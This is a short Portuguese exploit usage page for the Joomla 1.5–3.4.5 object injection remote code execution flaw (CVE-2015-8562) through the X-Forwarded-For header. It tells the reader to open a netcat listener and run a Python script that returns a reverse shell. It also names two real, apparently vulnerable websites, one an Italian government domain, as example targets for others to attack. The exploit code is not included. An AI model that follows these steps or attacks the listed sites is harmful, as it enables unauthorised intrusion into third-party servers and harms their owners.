
Joomla 1.5 - 3.4.5 Injeção de Objeto RCE cabeçalho X-Forwarded-For
Exploit: Joomla 1.5 - 3.4.5 Injeção de Objetos RCE cabeçalho X-Forwarded-For:
Data da Vulnerabilidade: 12/17/2015
Autor do Exploit: anarc0der
Versão: Joomla 1.5 a 3.4.5
CVE : CVE-2015-8562
Como usar:
Abra um terminal e escute com nc: $ nc -lnvp 4444
Abra outro terminal e execute o exploit:
python3 rce.py --target='target' --ip='ip' --port=4444
Exemplos de alvos PoC (Não os foda, para que outras pessoas usem como exemplo):
http://www.monitoraggiograduatorie.gov.it/
http://budo-aykac.nl/